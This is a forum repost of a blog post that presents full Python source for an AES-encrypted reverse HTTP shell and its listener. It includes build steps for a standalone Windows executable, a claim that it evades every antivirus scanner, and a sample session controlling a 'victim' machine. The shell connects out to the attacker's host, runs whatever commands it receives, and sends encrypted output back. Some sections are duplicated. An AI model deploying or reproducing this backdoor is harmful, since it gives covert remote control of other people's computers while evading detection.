Building an HTTP shell with AES + Proxy Support in Python
Publicado: 18 Feb 2013, 16:59
Got a little bored today and decided to write a reverse HTTP shell in Python thats platform independent and supports AES encryption when passing information back and forth. So this works on Linux, OSX, and Windows. The shell also supports proxy settings as well. This Python shell will initiate a reverse connection out of the network and connect to the attacker machine via pure HTTP communications. It’s pretty straight forward on how it works. I’ve byte compiled the code so you do not need to have Python installed on the victim, it will simply run as a normal executable.
As usual, with anything custom evades every anti-virus out there (0/43):

Here’s the shell in action on the victim machine:
Here’s what we see on the attacker machine:
As you can see, we have a full shell to the victim, at this point based on the code its trivial to implement upload/download commands and anything else we want from a purely stateful HTTP shell. When the commands are sent from the server, its encrypted leveraging AES and sent to the victim machine, its then decrypted and executed in a shell command. When the response is taken from the command shell option, its then encrypted back up and sent back to the listener. There is never a point in time where communications are sent via an unencrypted manner.
Here’s the source code for the encrypted shell:
Here’s the code for the listener:
you want to download the already compiled shell.exe and all of the source code
[Enlace externo eliminado para invitados]
POSTDATA : icmp bypassing wireshark
As usual, with anything custom evades every anti-virus out there (0/43):

Here’s the shell in action on the victim machine:
Código: Seleccionar todo
C:Documents and SettingsAdministratorDesktop>shell.exe
AES Encrypted Reverse HTTP Shell by:
Dave Kennedy (ReL1K)
http://www.trustedsec.com
Usage: shell.exe reverse_ip_address port
C:Documents and SettingsAdministratorDesktop>shell.exe 192.168.235.152 80
Código: Seleccionar todo
root@bt:~/Desktop# python server.py
############################################
#
#
# AES Encrypted Reverse HTTP Listener by:
#
# Dave Kennedy (ReL1K)
# http://www.trustedsec.com
#
#
############################################
Starting encrypted web shell server, use Ctrl-C to stop
shell> 192.168.235.131 - - [07/Mar/2012 19:47:10] "GET / HTTP/1.1" 200 -
192.168.235.131 - - [07/Mar/2012 19:47:10] "POST /index.aspx HTTP/1.1" 200 -
shell> ipconfig
192.168.235.131 - - [07/Mar/2012 19:47:15] "GET / HTTP/1.1" 200 -
192.168.235.131 - - [07/Mar/2012 19:47:15] "POST /index.aspx HTTP/1.1" 200 -
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.235.131
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.235.2
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
shell>
Here’s the source code for the encrypted shell:
Código: Seleccionar todo
#!/usr/bin/python
##########################################################################################################################
#
#
# AES Encrypted Reverse HTTP Shell by:
#
# Dave Kennedy (ReL1K)
# http://www.trustedsec.com
#
##########################################################################################################################
#
##########################################################################################################################
#
# To compile, you will need pyCrypto, it's a pain to install if you do it from source, should get the binary modules
# to make it easier. Can download from here:
# http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=pycrypto-2.0.1.win32-py2.5.zip
#
##########################################################################################################################
#
# This shell works on any platform you want to compile it in. OSX, Windows, Linux, etc.
#
##########################################################################################################################
#
##########################################################################################################################
#
# Below is the steps used to compile the binary. py2exe requires a dll to be used in conjunction
# so py2exe was not used. Instead, pyinstaller was used in order to byte compile the binary.
#
##########################################################################################################################
#
# export VERSIONER_PYTHON_PREFER_32_BIT=yes
# python Configure.py
# python Makespec.py --onefile shell.py
# python Build.py shell/shell.spec
#
###########################################################################################################################
import urllib
import urllib2
import httplib
import subprocess
import sys
import base64
import os
from Crypto.Cipher import AES
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length. This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
# secret key, change this if you want to be unique
secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
# create a cipher object using the random secret
cipher = AES.new(secret)
# TURN THIS ON IF YOU WANT PROXY SUPPORT
PROXY_SUPPORT = "OFF"
# THIS WILL BE THE PROXY URL
PROXY_URL = "http://proxyinfo:80"
# USERNAME FOR THE PROXY
USERNAME = "username"
# PASSWORD FOR THE PROXY
PASSWORD = "password"
# here is where we set all of our proxy settings
if PROXY_SUPPORT == "ON":
auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password(realm='RESTRICTED ACCESS',
uri=PROXY_URL, # PROXY SPECIFIED ABOVE
user=USERNAME, # USERNAME SPECIFIED ABOVE
passwd=PASSWORD) # PASSWORD SPECIFIED ABOVE
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
try:
# our reverse listener ip address
address = sys.argv[1]
# our reverse listener port address
port = sys.argv[2]
# except that we didn't pass parameters
except IndexError:
print " nAES Encrypted Reverse HTTP Shell by:"
print " Dave Kennedy (ReL1K)"
print " http://www.trustedsec.com"
print "Usage: shell.exe "
sys.exit()
# loop forever
while 1:
# open up our request handelr
req = urllib2.Request('http://%s:%s' % (address,port))
# grab our response which contains what command we want
message = urllib2.urlopen(req)
# base64 unencode
message = base64.b64decode(message.read())
# decrypt the communications
message = DecodeAES(cipher, message)
# quit out if we receive that command
if message == "quit" or message == "exit":
sys.exit()
# issue the shell command we want
proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# read out the data of stdout
data = proc.stdout.read() + proc.stderr.read()
# encrypt the data
data = EncodeAES(cipher, data)
# base64 encode the data
data = base64.b64encode(data)
# urlencode the data from stdout
data = urllib.urlencode({'cmd': '%s'}) % (data)
# who we want to connect back to with the shell
h = httplib.HTTPConnection('%s:%s' % (address,port))
# set our basic headers
headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"}
# actually post the data
h.request('POST', '/index.aspx', data, headers)
Here’s the code for the listener:
Código: Seleccionar todo
#!/usr/bin/python
############################################
#
#
# AES Encrypted Reverse HTTP Listener by:
#
# Dave Kennedy (ReL1K)
# http://www.trustedsec.com
#
#
############################################
from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import HTTPServer
import urlparse
import re
import os
import base64
from Crypto.Cipher import AES
# the block size for the cipher object; must be 16, 24, or 32 for AES
BLOCK_SIZE = 32
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length. This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
# 32 character secret key - change this if you want to be unique
secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2"
# create a cipher object using the random secret
cipher = AES.new(secret)
# url decode for postbacks
def htc(m):
return chr(int(m.group(1),16))
# url decode
def urldecode(url):
rex=re.compile('%([0-9a-hA-H][0-9a-hA-H])',re.M)
return rex.sub(htc,url)
class GetHandler(BaseHTTPRequestHandler):
# handle get request
def do_GET(self):
# this will be our shell command
message = raw_input("shell> ")
# send a 200 OK response
self.send_response(200)
# end headers
self.end_headers()
# encrypt the message
message = EncodeAES(cipher, message)
# base64 it
message = base64.b64encode(message)
# write our command shell param to victim
self.wfile.write(message)
# return out
return
# handle post request
def do_POST(self):
# send a 200 OK response
self.send_response(200)
# # end headers
self.end_headers()
# grab the length of the POST data
length = int(self.headers.getheader('content-length'))
# read in the length of the POST data
qs = self.rfile.read(length)
# url decode
url=urldecode(qs)
# remove the parameter cmd
url=url.replace("cmd=", "")
# base64 decode
message = base64.b64decode(url)
# decrypt the string
message = DecodeAES(cipher, message)
# display the command back decrypted
print message
if __name__ == '__main__':
# bind to all interfaces
server = HTTPServer(('', 80), GetHandler)
print """############################################
#
#
# AES Encrypted Reverse HTTP Listener by:
#
# Dave Kennedy (ReL1K)
# http://www.trustedsec.com
#
#
############################################"""
print 'Starting encrypted web shell server, use to stop'
# simple try block
try:
# serve and listen forever
server.serve_forever()
# handle keyboard interrupts
except KeyboardInterrupt:
print "[!] Exiting the encrypted webserver shell.. hack the gibson."
[Enlace externo eliminado para invitados]
POSTDATA : icmp bypassing wireshark